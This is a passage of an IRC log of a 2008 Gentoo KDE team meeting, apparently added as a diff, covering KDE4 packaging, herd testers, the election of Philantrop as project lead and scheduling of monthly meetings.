+[Do Mär 6 2008] [21:09:56] <zlin>	and as we want berniyh to do too! :>
+[Do Mär 6 2008] [21:10:17] <deathwing00>	poor ignorants... they don't know it yet... *g*
+[Do Mär 6 2008] [21:10:22] <gentoofan23>	well, I might be able to help in places. I
+[Do Mär 6 2008] [21:10:29] <gentoofan23>	I'll e-mail my key
+[Do Mär 6 2008] [21:10:46] <Philantrop>	gentoofan23: Ok, thanks, we'll work out the details later.
+[Do Mär 6 2008] [21:11:14] <Philantrop>	Ok, anything else about KDE4 for now?
+[Do Mär 6 2008] [21:12:03] <gentoofan23>	just a question, what's the policy for things from playground/ going into gentoo-x86?
+[Do Mär 6 2008] [21:12:26] <gentoofan23>	various plasmoids come to mind.
+[Do Mär 6 2008] [21:12:27] <zlin>	we can discuss that later
+[Do Mär 6 2008] [21:12:29] <Ingmar>	It'd be wrong
+[Do Mär 6 2008] [21:12:39] <Ingmar>	playground is what upstream doesn't consider release worthy
+[Do Mär 6 2008] [21:12:45] <gentoofan23>	alright.
+[Do Mär 6 2008] [21:13:12] <Philantrop>	gentoofan23: We could have it in the overlay, though. :-)
+[Do Mär 6 2008] [21:13:14] <Ingmar>	Meaning that it may work, but they won't support it
+[Do Mär 6 2008] [21:13:18] <Ingmar>	definitely
+[Do Mär 6 2008] [21:13:26] <zlin>	we already have a lot of it in the overlay
+[Do Mär 6 2008] [21:13:29] <gentoofan23>	Ok.
+[Do Mär 6 2008] [21:13:40] <Philantrop>	Ingmar: They don't really support the other stuff either - see KDE 4.0.0. ;->
+[Do Mär 6 2008] [21:13:56] <orzelf>	do we ? which cpv ?
+[Do Mär 6 2008] [21:14:02] <Philantrop>	They just release it. Like Pandora did. ;-)
+[Do Mär 6 2008] [21:14:05] <Ingmar>	Pfft, stop being a pansy and use 4.0.2 damnit
+[Do Mär 6 2008] [21:14:36] <Philantrop>	Ok, anything else about KDE4 for now? (Final call.)
+[Do Mär 6 2008] [21:14:41] <zlin>	orzelf: 6-8 packages...
+[Do Mär 6 2008] [21:15:01] <Philantrop>	orzelf: Please ask about that in #genkdesvn. The guys there will help you.
+[Do Mär 6 2008] [21:15:05] <Ingmar>	Most of the extragear things is really few work to package it btw
+[Do Mär 6 2008] [21:15:59] <zlin>	oh, I might be confusing extragear and playground. maybe it's only a couple of packages then. ;)
+[Do Mär 6 2008] [21:16:44] <Philantrop>	Ok, topic 5 - Herd Testers: Current state and next steps. jmbsvicetto, you're the one in charge with respect to that. :-)
+[Do Mär 6 2008] [21:17:17] <jmbsvicetto>	Well, I haven't done much yet. With the elections and a few other things, I was distracted
+[Do Mär 6 2008] [21:17:31] <jmbsvicetto>	However, the only person that as contacted me about HT was gentoofan23
+[Do Mär 6 2008] [21:17:40] <Philantrop>	jmbsvicetto: Yes, I know. You corrupted Neddy and four others. ;-)
+[Do Mär 6 2008] [21:17:47] <jmbsvicetto>	Philantrop: Has anyone else talked with you about it?
+[Do Mär 6 2008] [21:17:57] <Ingmar>	Did you get berniyh's mail? :p
+[Do Mär 6 2008] [21:18:05] <Philantrop>	jmbsvicetto: No, not so far. What we should
+[Do Mär 6 2008] [21:18:17] <gentoofan23>	jmbsvicetto: yeah, I was accepted by Philantrop as well. Haven't been doing much though
+[Do Mär 6 2008] [21:18:17] <NeddySeagoon>	hehe
+[Do Mär 6 2008] [21:18:23] <jmbsvicetto>	berniyh: Did you sent me an email?
+[Do Mär 6 2008] [21:18:27] <berniyh>	Ingmar: mail?
+[Do Mär 6 2008] [21:18:33] <berniyh>	jmbsvicetto: not that i know of ;)
+[Do Mär 6 2008] [21:18:35] <Philantrop>	* do is flesh things a bit out, I think so that people know what we'd like to see done. :-)
+[Do Mär 6 2008] [21:18:38] <berniyh>	*none
+[Do Mär 6 2008] [21:18:52] <jmbsvicetto>	berniyh: ufff! :)
+[Do Mär 6 2008] [21:19:01] <Philantrop>	jmbsvicetto: Don't worry, berniyh is worse a slacker than you are. ;-)
+[Do Mär 6 2008] [21:19:11] <jmbsvicetto>	hehe
+[Do Mär 6 2008] [21:19:20] <berniyh>	jmbsvicetto: maybe he meant that viagra thing? *g*
+[Do Mär 6 2008] [21:19:32] <orzelf>	Philantrop, zlin : ok ,thx.
+[Do Mär 6 2008] [21:19:55] <jmbsvicetto>	Philantrop: Agreed. We might also want to announce again that we're open for HTs and that people can help that way
+[Do Mär 6 2008] [21:20:10] <deathwing00>	I can announce that on GMN
+[Do Mär 6 2008] [21:20:11] <jmbsvicetto>	Philantrop: We might want to push something to gmn and gentoo-pr
+[Do Mär 6 2008] [21:20:18] <deathwing00>	shall I take note?
+[Do Mär 6 2008] [21:20:21] <jmbsvicetto>	berniyh: :)
+[Do Mär 6 2008] [21:20:26] <Philantrop>	jmbsvicetto: Yes, good idea. We'll come to that in topic 8 - misc. :-)
+[Do Mär 6 2008] [21:20:32] <Philantrop>	deathwing00: Yes, please.
+[Do Mär 6 2008] [21:20:42] <jmbsvicetto>	I can also "abuse" the forums for that ;)
+[Do Mär 6 2008] [21:20:44] <gentoofan23>	maybe have dberkholz put something on the front page? (as in not gmn)
+[Do Mär 6 2008] [21:20:47] <deathwing00>	Philantrop: noted :)
+[Do Mär 6 2008] [21:20:53] <jmbsvicetto>	deathwing00: yes, please
+[Do Mär 6 2008] [21:21:04] <Philantrop>	deathwing00, jmbsvicetto: Can you come up with a good text together? 
+[Do Mär 6 2008] [21:21:04] <jmbsvicetto>	gentoofan23: that's gentoo-pr ;)
+[Do Mär 6 2008] [21:21:11] <deathwing00>	Philantrop: sure thing
+[Do Mär 6 2008] [21:21:16] <jmbsvicetto>	Philantrop: I'll work with deathwing00
+[Do Mär 6 2008] [21:21:18] <gentoofan23>	jmbsvicetto: oh, k
+[Do Mär 6 2008] [21:21:26] <deathwing00>	jmbsvicetto: right after the meeting would be a good timing for me
+[Do Mär 6 2008] [21:21:46] <Philantrop>	jmbsvicetto, deathwing00: Thanks, great! Once you're done, please mail it to kde@ so that we all can review it. Agreed?
+[Do Mär 6 2008] [21:21:57] <deathwing00>	Philantrop: agreed
+[Do Mär 6 2008] [21:21:58] <jmbsvicetto>	deathwing00: If you could give me 30 minutes to have dinner, my stoamach would thank you ;)
+[Do Mär 6 2008] [21:22:07] <deathwing00>	jmbsvicetto: no problem
+[Do Mär 6 2008] [21:22:07] <jmbsvicetto>	Philantrop: sure
+[Do Mär 6 2008] [21:22:23] <jmbsvicetto>	Philantrop: next ?
+[Do Mär 6 2008] [21:22:29] <Philantrop>	Thanks! Anything else on HTs?
+[Do Mär 6 2008] [21:22:50] <gentoofan23>	other than the fact that I have no idea what to do, no ;-)
+[Do Mär 6 2008] [21:23:07] <Philantrop>	gentoofan23: jmbsvicetto and deathwing00 will get you up to speed. *g*
+[Do Mär 6 2008] [21:23:11] <jmbsvicetto>	Philantrop: I don't think so. Not at this moment, at least
+[Do Mär 6 2008] [21:23:18] <jmbsvicetto>	Philantrop: :)
+[Do Mär 6 2008] [21:23:34] <Philantrop>	Ok, anything else on HTs? (Final call.)
+[Do Mär 6 2008] [21:23:54] <Philantrop>	Ok, let's move on to topic 6: 
+[Do Mär 6 2008] [21:23:56] <Philantrop>	6. Lead election:
+[Do Mär 6 2008] [21:23:56] <Philantrop>	During recent recruitments, DevRel informed us that the KDE project should have
+[Do Mär 6 2008] [21:23:56] <Philantrop>	a lead as per GLEP39. Some herd members and other devs contacted Philantrop 
+[Do Mär 6 2008] [21:23:56] <Philantrop>	about it, too, and requested an election. A simple vote on IRC should be held.
+[Do Mär 6 2008] [21:24:01] <deathwing00>	jmbsvicetto: I have to do forums threads as well btw
+[Do Mär 6 2008] [21:24:09] <jmbsvicetto>	ok
+[Do Mär 6 2008] [21:24:35] <jmbsvicetto>	Philantrop: I think it's about time we elect some leads
+[Do Mär 6 2008] [21:25:14] <Philantrop>	jmbsvicetto: Yes, people asked me about that. As most of you know or can imagine, I volunteer. :-)
+[Do Mär 6 2008] [21:25:22] <jmbsvicetto>	Philantrop: That can help, by letting other people know who to talk to
+[Do Mär 6 2008] [21:25:37] <jmbsvicetto>	Philantrop: O'rly? ;)
+[Do Mär 6 2008] [21:25:42] <deathwing00>	haha
+[Do Mär 6 2008] [21:25:51] <jmbsvicetto>	I second your nomination
+[Do Mär 6 2008] [21:26:02] <zlin>	I even vote for Philantrop :)
+[Do Mär 6 2008] [21:26:12] <deathwing00>	Philantrop++
+[Do Mär 6 2008] [21:26:13] <jmbsvicetto>	Philantrop: I sugest we have 2 leads
+[Do Mär 6 2008] [21:26:14] <Ingmar>	Same ;)
+[Do Mär 6 2008] [21:26:27] <gentoofan23>	jmbsvicetto: political power corrupting you? ;-)
+[Do Mär 6 2008] [21:26:49] <jmbsvicetto>	Philantrop: Whether we want an operation and a strategic lead or just a lead and sub-lead, it can help having a failsafe contact
+[Do Mär 6 2008] [21:26:50] <zlin>	jmbsvicetto: why?
+[Do Mär 6 2008] [21:26:50] <deathwing00>	I think jmbsvicetto means lead + sublead, as in former times
+[Do Mär 6 2008] [21:27:03] <jmbsvicetto>	gentoofan23: :)
+[Do Mär 6 2008] [21:27:25] <jmbsvicetto>	zlin: For the failsafe
+[Do Mär 6 2008] [21:27:27] <deathwing00>	Philantrop: I think we concluded that we didn't want to split dutties (op + start), right?
+[Do Mär 6 2008] [21:27:40] <Ingmar>	I don't think we need more than one lead, tbh
+[Do Mär 6 2008] [21:27:52] <zlin>	'dutties (op + start)'?
+[Do Mär 6 2008] [21:28:04] <deathwing00>	op + strat*
+[Do Mär 6 2008] [21:28:10] <Ingmar>	Some of us are more than active enough on irc, that there's always someone quick enough to answer KDE questions etc
+[Do Mär 6 2008] [21:28:14] <deathwing00>	actually it's operation and technical
+[Do Mär 6 2008] [21:28:14] <jmbsvicetto>	Ingmar: What? You just want a lead and an HT lead? :o ;)
+[Do Mär 6 2008] [21:28:16] <zlin>	ahh, and duties. ;)
+[Do Mär 6 2008] [21:28:34] <deathwing00>	zlin: my bad :)
+[Do Mär 6 2008] [21:28:58] <deathwing00>	I propose to vote if we want to have a sublead first, then vote for candidates
+[Do Mär 6 2008] [21:29:03] <Philantrop>	I'm with Ingmar on this - the students among us are around anyway. ;-)
+[Do Mär 6 2008] [21:29:45] <zlin>	I'm with Ingmar on this too.
+[Do Mär 6 2008] [21:29:46] <jmbsvicetto>	zlin: The principle behind the strategic + operational lead, was to have someone concerned with the big picture and another person taking care of the day-to-day
+[Do Mär 6 2008] [21:30:14] <Philantrop>	jmbsvicetto: We all take care of day-to-day stuff. :-)
+[Do Mär 6 2008] [21:30:16] <Ingmar>	Yes, and my point is that day-to-day is more than taken care of
+[Do Mär 6 2008] [21:30:23] <jmbsvicetto>	ok
+[Do Mär 6 2008] [21:30:35] <jmbsvicetto>	If you're happy with just a lead, then I accept that
+[Do Mär 6 2008] [21:30:39] <Philantrop>	Let's vote on the sub-lead, I'd say. Yay/Nay, please.
+[Do Mär 6 2008] [21:30:45] <Ingmar>	not that we can't improve in that, but I don't see a problem, and I don't see your suggestion as a solution ;)
+[Do Mär 6 2008] [21:30:48] <Ingmar>	Nay
+[Do Mär 6 2008] [21:30:49] <jmbsvicetto>	I've already seconded a nomination ;)
+[Do Mär 6 2008] [21:30:49] <deathwing00>	Yay
+[Do Mär 6 2008] [21:30:51] 	 * Philantrop votes nay
+[Do Mär 6 2008] [21:30:54] <zlin>	Nay
+[Do Mär 6 2008] [21:31:02] <jmbsvicetto>	Yay
+[Do Mär 6 2008] [21:31:17] 	 * cryos|laptop abstains
+[Do Mär 6 2008] [21:31:17] <jmbsvicetto>	2 Yay - 3 Nay ?
+[Do Mär 6 2008] [21:31:22] <jmbsvicetto>	ctennis: ^^
+[Do Mär 6 2008] [21:31:30] <deathwing00>	masterdriverz: ^^
+[Do Mär 6 2008] [21:31:31] <deathwing00>	hehe
+[Do Mär 6 2008] [21:31:34] 	 * gentoofan23 isn't sure if he can vote...
+[Do Mär 6 2008] [21:31:42] <Ingmar>	You can, if you say nay
+[Do Mär 6 2008] [21:31:43] <deathwing00>	gentoofan23: go on
+[Do Mär 6 2008] [21:31:47] <jmbsvicetto>	Ingmar: lol
+[Do Mär 6 2008] [21:31:54] <gentoofan23>	nay then
+[Do Mär 6 2008] [21:32:02] <zlin>	haha
+[Do Mär 6 2008] [21:32:16] <deathwing00>	I guess, nay passes then
+[Do Mär 6 2008] [21:32:21] <gentoofan23>	honestly, that *was* my opinion :)
+[Do Mär 6 2008] [21:32:43] <Ingmar>	:p
+[Do Mär 6 2008] [21:33:02] <deathwing00>	so, do we want Philantrop as lead? Yay/Nay?
+[Do Mär 6 2008] [21:33:04] <deathwing00>	Yay
+[Do Mär 6 2008] [21:33:05] <ctennis>	yay
+[Do Mär 6 2008] [21:33:09] <zlin>	Yay
+[Do Mär 6 2008] [21:33:10] <ctennis>	yay above too
+[Do Mär 6 2008] [21:33:12] <cryos|laptop>	yay
+[Do Mär 6 2008] [21:33:13] <gentoofan23>	yay
+[Do Mär 6 2008] [21:33:15] <Ingmar>	yay
+[Do Mär 6 2008] [21:33:24] <jmbsvicetto>	Philantrop: To do it the right way, we should open a nomination period and then have a voting period
+[Do Mär 6 2008] [21:33:39] <gentoofan23>	why are we even voting if there is only one nominee? *g*
+[Do Mär 6 2008] [21:33:53] <jmbsvicetto>	ok, if anyone feels comfortable with that, Yay
+[Do Mär 6 2008] [21:33:58] <deathwing00>	gentoofan23: well, if over 50% goes nay, then we have to elect someone else
+[Do Mär 6 2008] [21:34:08] <Ingmar>	If there're any other nominees, I'd suggest them to stand up :)
+[Do Mär 6 2008] [21:34:20] <Ingmar>	Else Idon't see the point of an election, waste of time :)
+[Do Mär 6 2008] [21:34:29] <gentoofan23>	oh, I guess I was likening it to a political election.
+[Do Mär 6 2008] [21:34:29] <deathwing00>	Ingmar: tell devrel
+[Do Mär 6 2008] [21:35:07] <deathwing00>	Philantrop: the sublead thing is 3y - 4n
+[Do Mär 6 2008] [21:35:07] <Ingmar>	So, other candidates?
+[Do Mär 6 2008] [21:35:11] <zlin>	this isn't a political election. we just need the whole team to be comfortable with the chosen lead
+[Do Mär 6 2008] [21:35:31] <Ingmar>	zlin: right :)
+[Do Mär 6 2008] [21:35:54] <jmbsvicetto>	Philantrop: This is another good reason to get gmn and gentoo-pr
+[Do Mär 6 2008] [21:36:05] <deathwing00>	?
+[Do Mär 6 2008] [21:36:17] <jmbsvicetto>	Philantrop: Let people know about our new lead and remind them of kde HTs
+[Do Mär 6 2008] [21:36:29] <jmbsvicetto>	Philantrop: ^
+[Do Mär 6 2008] [21:36:35] <jmbsvicetto>	bah, deathwing00 ^
+[Do Mär 6 2008] [21:36:35] <Philantrop>	jmbsvicetto: Yes, a sec. :-)
+[Do Mär 6 2008] [21:36:37] <deathwing00>	Philantrop: u sure you don't want jmbsvicetto as your sublead?
+[Do Mär 6 2008] [21:36:46] <deathwing00>	jmbsvicetto: noted
+[Do Mär 6 2008] [21:36:51] <jmbsvicetto>	deathwing00: Thanks, but I'm not interested
+[Do Mär 6 2008] [21:37:03] <jmbsvicetto>	deathwing00: If we were to have a sub-lead, I had another in mind
+[Do Mär 6 2008] [21:37:25] <Philantrop>	deathwing00: Well, let's keep things simple - everyone here can still make decisions so you're all sub-leads, IMHO. :)
+[Do Mär 6 2008] [21:37:35] <deathwing00>	hehe
+[Do Mär 6 2008] [21:38:17] <Philantrop>	For verification: sublead vote: 3 "yays", 3 "nays", one abstention, right?
+[Do Mär 6 2008] [21:38:19] <deathwing00>	Philantrop: can you give me the vote counts on sublead y/n/a and lead election y/n/a?
+[Do Mär 6 2008] [21:38:23] <jmbsvicetto>	wheeeeeeeee! I'm one of the 10+ gentoo-kde executive vps^D^D^Dsub-leads ;)
+[Do Mär 6 2008] [21:38:24] <jeeves>	dooooooork
+[Do Mär 6 2008] [21:38:37] <jmbsvicetto>	jeeves: :P
+[Do Mär 6 2008] [21:38:53] <Philantrop>	lead election: 7 yays, no nays, no abstention.
+[Do Mär 6 2008] [21:39:04] <deathwing00>	noted
+[Do Mär 6 2008] [21:39:17] <deathwing00>	sublead is a deadlock then?
+[Do Mär 6 2008] [21:39:44] <tgurr>	let's make it a 3 yays and 4 nays then :)
+[Do Mär 6 2008] [21:40:04] <deathwing00>	noted
+[Do Mär 6 2008] [21:40:08] <jmbsvicetto>	ok
+[Do Mär 6 2008] [21:40:15] <deathwing00>	tgurr: I need your vote on Philantrop :)
+[Do Mär 6 2008] [21:40:32] <tgurr>	yay for this wulf thing ;)
+[Do Mär 6 2008] [21:40:42] <deathwing00>	done with that
+[Do Mär 6 2008] [21:41:02] <deathwing00>	Philantrop: you have been elected as KDE lead, my congratulations
+[Do Mär 6 2008] [21:41:13] <deathwing00>	Philantrop: copy-paste your speech here
+[Do Mär 6 2008] [21:41:14] <Philantrop>	Thanks, guys. :-)
+[Do Mär 6 2008] [21:41:17] 	 * deathwing00 grins
+[Do Mär 6 2008] [21:41:44] <Philantrop>	I have no speech and I don't want to waste your time so just let me thank my grand-parents, my parents, my wife, my children, my pet... ;-)
+[Do Mär 6 2008] [21:41:54] <Philantrop>	;-))
+[Do Mär 6 2008] [21:41:58] <deathwing00>	next issue
+[Do Mär 6 2008] [21:42:10] <Philantrop>	Topic 7 - Review of the project page.
+[Do Mär 6 2008] [21:42:28] <Philantrop>	Apart from the lead thing - what do we need to update=?
+[Do Mär 6 2008] [21:42:37] <deathwing00>	kde-pr could take care of it if you want
+[Do Mär 6 2008] [21:42:40] <gentoofan23>	lots of kde 3.5.7 stuff.
+[Do Mär 6 2008] [21:42:47] <jmbsvicetto>	stable version + testing version and status of kde4
+[Do Mär 6 2008] [21:42:52] <gentoofan23>	I have a cvs checkout here, I could update things to a semi-sane state
+[Do Mär 6 2008] [21:43:14] <Ingmar>	That'd be nice
+[Do Mär 6 2008] [21:43:16] <zlin>	kde-pr?
+[Do Mär 6 2008] [21:43:36] <deathwing00>	kde-pr: just invented subproject
+[Do Mär 6 2008] [21:43:47] <Philantrop>	gentoofan23, deathwing00: How about the two of you do it together?
+[Do Mär 6 2008] [21:43:49] <zlin>	who volunteered? :>
+[Do Mär 6 2008] [21:44:12] <deathwing00>	yeah, I am already asuming these duties
+[Do Mär 6 2008] [21:44:15] <gentoofan23>	deathwing00: that means you are an indirect sublead :)
+[Do Mär 6 2008] [21:44:24] <deathwing00>	gentoofan23: you mean a monkey
+[Do Mär 6 2008] [21:44:40] <deathwing00>	hehe
+[Do Mär 6 2008] [21:44:44] <gentoofan23>	deathwing00: well, the two   can be related :)
+[Do Mär 6 2008] [21:44:55] 	 * cryos|laptop has to go - duty calls
+[Do Mär 6 2008] [21:45:00] <cryos|laptop>	Congrats Philantrop :D
+[Do Mär 6 2008] [21:45:02] <Philantrop>	gentoofan23, deathwing00: Can I take that for a "yes"?
+[Do Mär 6 2008] [21:45:07] <Ingmar>	cryos|laptop: laters :)
+[Do Mär 6 2008] [21:45:12] <Philantrop>	cryos|laptop: Thanks and thanks for having been here! 
+[Do Mär 6 2008] [21:45:15] <gentoofan23>	Philantrop: sure. ;)
+[Do Mär 6 2008] [21:45:33] <deathwing00>	Philantrop: affirmative, I'll take care of everything that needs to be spread to the public opinion everyone likes, with the help of everyone who likes
+[Do Mär 6 2008] [21:45:46] <Philantrop>	gentoofan23, deathwing00: Can you do it till the next meeting (next month)?
+[Do Mär 6 2008] [21:45:51] <deathwing00>	cryos|laptop: thank you for sparing your time :)
+[Do Mär 6 2008] [21:46:18] <deathwing00>	Philantrop: when is the next meeting? tomorrow?
+[Do Mär 6 2008] [21:46:28] <Philantrop>	deathwing00: next month. :-)
+[Do Mär 6 2008] [21:46:32] <gentoofan23>	Philantrop: probably.
+[Do Mär 6 2008] [21:46:38] <gentoofan23>	I already am editing a few things.
+[Do Mär 6 2008] [21:46:49] <deathwing00>	will do
+[Do Mär 6 2008] [21:46:55] <gentoofan23>	I'll send any patches to kde@ for review
+[Do Mär 6 2008] [21:47:04] <jmbsvicetto>	Philantrop: What are we missing?
+[Do Mär 6 2008] [21:47:21] <Philantrop>	gentoofan23, deathwing00: Ok, thanks! :-) And, yes, please, mail it to kde@.
+[Do Mär 6 2008] [21:47:25] <jmbsvicetto>	Philantrop: I'm being poked to have dinner
+[Do Mär 6 2008] [21:47:44] <Philantrop>	jmbsvicetto: Missing? And poked by whom? :-)
+[Do Mär 6 2008] [21:47:46] <deathwing00>	jmbsvicetto: meet you here in 35 minutes
+[Do Mär 6 2008] [21:48:04] <jmbsvicetto>	Philantrop: What other points? I'm at my parents house
+[Do Mär 6 2008] [21:48:14] <deathwing00>	gentoofan23: can we have talk about it after the meeting?
+[Do Mär 6 2008] [21:48:18] <Philantrop>	jmbsvicetto: Misc and next meeting date. :-)
+[Do Mär 6 2008] [21:48:29] <gentoofan23>	deathwing00: uh, maybe. I might have to go after the meeting though
+[Do Mär 6 2008] [21:48:32] <Philantrop>	jmbsvicetto: Nothing very special, I think. :-)
+[Do Mär 6 2008] [21:48:37] <jmbsvicetto>	ok
+[Do Mär 6 2008] [21:48:42] Quit	orzelf has left this server (Remote closed the connection).
+[Do Mär 6 2008] [21:48:51] <jmbsvicetto>	I'll try to poke in a few minutes
+[Do Mär 6 2008] [21:49:25] <Philantrop>	deathwing00, gentoofan23: 3, 4, 8, 9 of kde.gentoo.org need to updated, I think. :-)
+[Do Mär 6 2008] [21:49:43] <deathwing00>	Philantrop: noted
+[Do Mär 6 2008] [21:49:46] <gentoofan23>	what do you mean by all those numbers?
+[Do Mär 6 2008] [21:49:54] <Philantrop>	gentoofan23: The headlines. :-)
+[Do Mär 6 2008] [21:50:01] <gentoofan23>	oh, noted
+[Do Mär 6 2008] [21:50:16] <Philantrop>	Ok, anything else about the project page?
+[Do Mär 6 2008] [21:50:31] <zlin>	and of course we are here if you need additional info to write it... :)
+[Do Mär 6 2008] [21:51:00] <gentoofan23>	just a reminder to someone with cvs access to update proj/en/desktop/ with Philantrop as the Lead of the KDE project
+[Do Mär 6 2008] [21:51:12] <gentoofan23>	should be a one-liner
+[Do Mär 6 2008] [21:51:20] <gentoofan23>	zlin: noted, thanks!
+[Do Mär 6 2008] [21:51:42] <Philantrop>	Anything else about the project page? (Final call.)
+[Do Mär 6 2008] [21:51:56] <deathwing00>	zlin: :)
+[Do Mär 6 2008] [21:52:11] <Philantrop>	Topic 8 - Miscellaneous
+[Do Mär 6 2008] [21:52:14] <berniyh>	gentoofan23: write a paragraph, then it looks like it is important ;)
+[Do Mär 6 2008] [21:52:33] <Philantrop>	Anyone with anything to bring up?
+[Do Mär 6 2008] [21:53:18] <Philantrop>	Ok, I have one point - as he hinted at earlier, deathwing00 kindly volunteered to help with spreading the news about the Gentoo KDE project. I'd like to take up this offer. :-)
+[Do Mär 6 2008] [21:53:25] <deathwing00>	oh
+[Do Mär 6 2008] [21:53:25] <gentoofan23>	oh, what about #5 in index.xml? what is the status on monthly meetings?
+[Do Mär 6 2008] [21:53:28] <deathwing00>	let me interrupt
+[Do Mär 6 2008] [21:54:01] <deathwing00>	Philantrop: gentoofan23 made me notice that we could create a new section about meetings, with dates, sumary and logs
+[Do Mär 6 2008] [21:54:02] <Philantrop>	gentoofan23: We'll resume that. :-)
+[Do Mär 6 2008] [21:54:33] <genstef>	kde herd meeting?
+[Do Mär 6 2008] [21:54:33] <deathwing00>	summary*
+[Do Mär 6 2008] [21:54:33] <Philantrop>	deathwing00: Yes, we should updated section 5. I'd like to have monthly meetings again.
+[Do Mär 6 2008] [21:54:34] <genstef>	;-)
+[Do Mär 6 2008] [21:54:40] <Philantrop>	genstef: Welcome! :-)
+[Do Mär 6 2008] [21:54:41] <gentoofan23>	right.
+[Do Mär 6 2008] [21:54:45] <deathwing00>	hi genstef
+[Do Mär 6 2008] [21:55:04] <deathwing00>	Philantrop: noted :)
+[Do Mär 6 2008] [21:55:15] <Philantrop>	Anything else for topic 8 - Miscellaneous?
+[Do Mär 6 2008] [21:55:25] <gentoofan23>	one thing to note is that the first saturday of every month is Bugday, not sure if that will make any conflicts.
+[Do Mär 6 2008] [21:55:34] <eroyf>	bugday is dead
+[Do Mär 6 2008] [21:55:47] <deathwing00>	eroyf: don't blame me plz :)
+[Do Mär 6 2008] [21:55:52] <eroyf>	not your fault
+[Do Mär 6 2008] [21:55:58] <Philantrop>	gentoofan23: Oh, right, most people turned out to have no time during the weekend. What's best for everyone here?
+[Do Mär 6 2008] [21:55:59] <eroyf>	more my fault
+[Do Mär 6 2008] [21:56:13] <deathwing00>	Philantrop: why not like today?
+[Do Mär 6 2008] [21:56:16] <Philantrop>	Is Thursday good for everyone?
+[Do Mär 6 2008] [21:56:23] <gentoofan23>	Well, it is probably best for me
+[Do Mär 6 2008] [21:56:29] <gentoofan23>	Sundays are not very good
+[Do Mär 6 2008] [21:56:41] <gentoofan23>	Thursday afternoons are good, usually
+[Do Mär 6 2008] [21:57:14] <Philantrop>	I like Thursdays, too. :-)
+[Do Mär 6 2008] [21:57:38] <zlin>	thursday is great
+[Do Mär 6 2008] [21:57:49] <Philantrop>	Anyone *against* (!) choosing Thursday?
+[Do Mär 6 2008] [21:57:53] <Ingmar>	I prefer thursday over friday at least
+[Do Mär 6 2008] [21:58:13] 	 * Philantrop hums "It's just another manic Thursday"... ;-)
+[Do Mär 6 2008] [21:58:18] <gentoofan23>	anyone for Mondays? *g*
+[Do Mär 6 2008] [21:58:33] <Philantrop>	Thursday it is. :-)
+[Do Mär 6 2008] [21:58:44] <deathwing00>	PR: noted
+[Do Mär 6 2008] [21:58:52] <Philantrop>	Second one, I'd say. Objections?
+[Do Mär 6 2008] [21:59:07] <deathwing00>	first thursday of every month
+[Do Mär 6 2008] [21:59:31] <Philantrop>	Ok, first. Objections?
+[Do Mär 6 2008] [21:59:42] <Philantrop>	Perfect. *g* Anything else for topic 8 - Miscellaneous?
+[Do Mär 6 2008] [22:00:07] <deathwing00>	can we go now? there's so much to do... *g*
+[Do Mär 6 2008] [22:00:12] <genstef>	btw, I am at Cebit tomorrow :-)
+[Do Mär 6 2008] [22:00:17] Join	zsz has joined this channel (n=zsz@sa-184-64.saturn.infonet.ee).
+[Do Mär 6 2008] [22:00:18] <Philantrop>	Ok, guys, final topic - Date of the next meeting and closing.
+[Do Mär 6 2008] [22:00:19] <gentoofan23>	well, I'm out, later everyone
+[Do Mär 6 2008] [22:00:19] <genstef>	eh on the weekend
+[Do Mär 6 2008] [22:00:21] <zlin>	second thursday is council meetings. not sure if that's a pro or a con though. :>
+[Do Mär 6 2008] [22:00:24] <gentoofan23>	Congrats, Philantrop
+[Do Mär 6 2008] [22:00:40] <Philantrop>	zlin: Oh, right. Then it's really first. :-)
+[Do Mär 6 2008] [22:00:52] <deathwing00>	yes
+[Do Mär 6 2008] [22:00:57] <genstef>	gentoofan23: goodbye :-)
+[Do Mär 6 2008] [22:01:04] <Philantrop>	Last topic: Date of the next meeting and closing.
+[Do Mär 6 2008] [22:01:11] Quit	gentoofan23 has left this server (Client Quit).
+[Do Mär 6 2008] [22:01:16] <Philantrop>	April, 3rd, 2008.
+[Do Mär 6 2008] [22:01:30] 	 * zlin acks
+[Do Mär 6 2008] [22:01:33] <deathwing00>	noted
+[Do Mär 6 2008] [22:01:43] <brot>	:)
+[Do Mär 6 2008] [22:01:44] <Philantrop>	Anything else, guys? :-)
+[Do Mär 6 2008] [22:01:50] Topic	Ingmar sets the channel topic to "KDE 4.0 guide: http://tinyurl.com/27tbt5 | KDE herd meeting (april 3rd, 2008, 19:30 UTC, here). Agenda: http://tinyurl.com/2hhsvc | Problems upgrading to stable KDE 3.5.8? http://tinyurl.com/yqk4le | http://dev.gentoo.org/~masterdriverz/kde-help.txt | KDE Bugs: http://tinyurl.com/3bpdlv | If we're too quiet try #kde | KDE4 live ebuilds? -> "kde" overlay and #genkdesvn. | KDE 4 doesn't work with qt-4.4 *yet*".
+[Do Mär 6 2008] [22:01:51] <brot>	yes.
+[Do Mär 6 2008] [22:02:05] <brot>	you missed to say that you all are doing a great job.
+[Do Mär 6 2008] [22:02:26] <ctennis>	Hats off to the qt4 beta1 folks
+[Do Mär 6 2008] [22:02:38] <Philantrop>	No, that's closing and that's what I'm doing now: Thanks for all your great work, guys! It's a great pleasure to work with you! :-)
+[Do Mär 6 2008] [22:03:00] <berniyh>	ctennis: you mean "heads off" ;-)
+[Do Mär 6 2008] [22:03:08] <ctennis>	that too!
+[Do Mär 6 2008] [22:03:33] Quit	mark_alec has left this server ("Konversation terminated!").
+[Do Mär 6 2008] [22:03:35] <Philantrop>	ctennis: And it's nice to have one of the grumpy old men back on IRC. ;-)
+[Do Mär 6 2008] [22:03:47] <deathwing00>	:)
+[Do Mär 6 2008] [22:03:58] <ctennis>	heh
+[Do Mär 6 2008] [22:04:07] <ctennis>	I wish I had more time to play
+[Do Mär 6 2008] [22:04:28] <ctennis>	but it seems like there's no problem  in picking up my slack
+[Do Mär 6 2008] [22:04:34] <deathwing00>	:)
+[Do Mär 6 2008] [22:04:34] <Philantrop>	Ok, guys, this meeting is now officially closed! :-)
+[Do Mär 6 2008] [22:04:46] 	 * deathwing00 cheers at the new lead
+[Do Mär 6 2008] [22:04:56] <berniyh>	ctennis: with qt-4.4?
+[Do Mär 6 2008] [22:04:57] <zlin>	ctennis: :)
+[Do Mär 6 2008] [22:04:58] <Philantrop>	ctennis: Oh, you should have seen Ingmar and zlin swear about Qt's build system sometimes... ;-)
+[Do Mär 6 2008] [22:05:11] 	 * berniyh nods
+[Do Mär 6 2008] [22:05:13] <zlin>	we're still swearing.. ;)
+[Do Mär 6 2008] [22:05:23] <Philantrop>	I'll mail the log and summary to kde@. :-)
+[Do Mär 6 2008] [22:05:46] <deathwing00>	Philantrop: I'll reuse it :)
